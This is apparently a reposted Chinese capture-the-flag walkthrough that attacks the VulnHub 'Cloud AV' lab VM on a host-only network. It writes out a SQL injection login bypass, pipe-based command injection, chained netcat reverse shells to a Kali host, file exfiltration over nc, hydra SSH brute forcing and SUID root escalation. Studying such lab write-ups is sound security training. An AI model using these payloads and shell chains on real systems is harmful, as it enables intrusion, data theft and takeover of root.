第五次打靶
靶机介绍:1)靶机地址:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/
2)难度级别:低
3)涉及攻击手段:端口扫描、WEB侦查、SQL注入、命令注入、密码爆破、代码审计、NC串联、本地提权
4)课程来源:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0
打靶过程:
1)启动靶机,选择网络模式为仅主机模式,由此可确定靶机地址段为192.168.56.0/24
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202259691-1841633460.png
2)利用工具进行扫码仅主机网段192.168.56.0/24的存货主机,此处使用工具arping,不使用arp-scan,因为arp-scan更倾向于黑客工具,但是arping大部门主机都默认安装了,,适用性更强,但是arping无法对一段的网络进行一次性的主机发现,所以只能通过编写shell脚本的循环进行主机发现
# for i in $(seq 1 254);do sudo arping -c 2 192.168.56.$i;done 当扫描到192.168.56.109时,该主机进行了回包,说明该IP地址即为靶机地址
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202314257-749907012.png
3)对主机192.168.56.109进行全端口扫描:发现该主机开放了22端口和8080端口
# nmap -p- 192.168.56.109https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202327193-278538124.png
4)对开发的端口进行服务版本的扫描:发现22端口使用的openssh服务版本为哦openssh7.6p1,8080端口使用的是httpd服务,而且服务端使用了werkzeug这个python开发的web框架,服务端使用了python2.7版本
nmap -p22,8080 -sV 192.168.56.109https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202339866-1368409694.png
5)浏览器访问该主机的8080端口:发现该页面是一个云防病毒扫描的服务,首先需要输入邀请码(密码)才能正常登入进行系统后台,才能进行云服务查杀,即通过密码进行身份认证的过程。此时的攻击思路
①尝试利用程序在服务端代码上的逻辑漏洞,通过sql注入等方式绕过身份认证
②使用暴力破解等方式破解
浏览器:http://192.168.56.109:8080/https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202353916-34839568.png
6)破解密码
①浏览器设置代理
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202406769-765490220.png
②burp设置代理监听
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202420057-1506315581.png
③在网站输入框中任意输入字符,进行提交,抓取数据包
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202434369-775118189.png
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202445789-209646915.png
④将数据包发送至Intruder模式,对输入的字符串添加为变量,设置成数据的注入点,在payload中尝试输入键盘上所有的字符:因为无论在任何的语言和编程环境中,键盘上输入的符号,在不同的语言环境,往往都有特使的功能,当向一个数据的注入点注入了所有符号,如果这个位置上存在某种注入漏洞,一般就会出发服务器端代码上的问题,造成语法和语义上的歧义,从而使得服务器无法正常处理这写请求,最后通过触发这些漏洞,就有发现服务器端可能存在的注入漏洞。
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202459236-1790746498.png
⑤开始爆破后,发现当输入双引号时,返回的状态码和长度发生了变化
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202510806-1159846884.png
⑥通过查看报错发现,该页面返回了目标服务器文件系统的路径,同时在最后一行发现了一个sql语句:if len(c.execute('select * from code where password="' + password + '"').fetchall()) > 0:
可以发现之前输入的双引号被拼接到了该语句中,使得sql语句语法报错
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202525602-1908688800.png
'select * from code where password="' + " + '&quit;' #HTML转义
'select * from code where password=";' + " + '";' #去掉单引号
#服务端第一个双引号和第二个双引号进行了闭合,导致最后一个双引号没有闭合,使得服务端代码出现了语法错误
select * from code where password="; + " + ";
select * from code where password="; + 123 + "; #正常语句
#构建payload,尝试在不知道邀请码情况下,进入系统
select * from code where password="; + " or 1=1 --+ + "; --+表示注释7)SQL注入,输入语句后,正常登陆至系统
浏览器输入框: "or 1=1 --+https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202543905-249611072.png
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202558398-957930304.png
8)根据上述显示,猜测,当输入一个服务器中的文件名至输入框,点击扫描后,会将此请求提交至服务器,服务器会调用某种杀毒软件(如avscan)对该文件进行扫描,如avscan hello,也就意味着执行了类似的命令
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202610657-872074910.png
9)如果服务端是按照上述方式执行的杀毒操作,在shell命令中,可以通过管道符等方式执行其他命令
浏览器输入框: cat | idhttps://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202659324-338454898.png
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202710392-1403757151.png
10)反弹shell,此处不使用python的反弹shell,使用nc进行反弹
①先判断目标主机有无nc命令
cat |wchic nchttps://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202723952-1781887959.png
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202736986-741181747.png
②连接kali主机192.168.56.103的4444端口,并通过-e参数指定连接成功之后开启一个shell终端,发现kali虽然连接成功,但并没有接收到反弹的shell
浏览器输入:
cat | nc 192.168.56.103 3333
kali:
# nc -lvvp 3333 https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202749748-1023583789.png
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202800117-1441443059.png
因为有些服务器发行版本的nc命令版本,并没有-e参数,此时使用nc的串联
③先使用一个nc去连接kali中的一个监听端口3333,再使用管道将前面的结果输入给后面的/bin/bash进行解析,解析完成后再通过管道发送给kali中的另一个监听端口4444,此时发现,当在会话1输入的命令,执行结果将会在会话2显示出来
浏览器输入框:
cat | nc 192.168.56.103 3333|/bin/bash|nc 192.168.56.103 4444
kali-会话1:
# nc -lvvp 3333
kali-会话2:
# nc -lvvp 4444浏览器输入框输入内容:
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202817316-78232658.png
kali-会话1:
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202830863-730397878.png
kali-会话2:
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202840428-1051870033.png
11)通过上述发现,当前目标服务器存在一个database.sql的文件,通过对查看发现是一个SQLite 3.x 数据库文件,通过在目标主机执行sqlite命令发现,并没有什么回显,说明目标主机没有sqlite的执行环境
#file database.sqlhttps://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202853216-1456867882.png
12)将目标主机上的database.sql文件下载到kali本机
①在kali主机监听5555端口,将接受到的任何数据,重定向到db.sql
# nc -lvvp 5555 > db.sql②在目标主机通过nc去连接kali主机的5555端口,并利用将database.sql传输过去
#nc 192.168.56.103 5555 < db.sql
# ls -l db.sqlhttps://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202907906-1465082461.png
13)此时即可在kali通过sqlite去执行该sql文件
# sqlite3
sqlite> .open db.sql #通过open命令打开sql文件,没有报错表示打开成功
sqlite> .database #打开当前加载的数据库文件
sqlite> .dump #把加载上来的数据库文件中的数据显示出来https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202924438-449029856.png
14)通过查看sql文件发现,该数据库中文件只有一个表,且只有一个password字段,向该字段中导入了4个密码,此时可以尝试通过用户名和密码通过ssh进行登录
①先查看目标系统中,可以登录的用户有哪些
#cat /etc/passwd|grep /bin/bashhttps://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202937332-1341539006.png
②将三个用户生成一个用户名字典
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202947824-456436138.png
③将之前的密码生成一个字典
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126202958520-865745777.png
④通过hydra进行ssh密码暴力破解
# hydra -L user.txt -P password.txt ssh://192.168.56.109https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126203012294-586190961.png
通过ssh暴力破解,未破解出正确的用户名和密码
15)此时需要再次进行目标服务器信息搜集,在搜集过程中发现了update_cloudav、update_cloudav.c文件,根据后缀可知update_cloudav.c是源码文件,update_cloudav是可执行文件,并且还具有SUID权限,且用户属主是root
#cd ..
#pwd
#ls -lhttps://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126203023383-99013915.png
16)通过查看update_cloudav.c源码文件,发现执行该文件,需要输入一个参数
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126203034371-12014745.png
17)通过SUID的特性,只要执行该文件,就会默认继承该文件属主的权限,即root权限
#./update_cloudav "a|nc 192.168.56.103 7777 | /bin/bash | nc 192.168.56.103 8888"18)同时在kali主机分别监听7777、8888端口,此时在会话3输入命令,则会回显在会话4
会话3:
# nc -lvvp 7777
会话4:
# nc -lvvp 8888https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126203050847-650774123.png
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221126203102039-156241637.png
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页:
[1]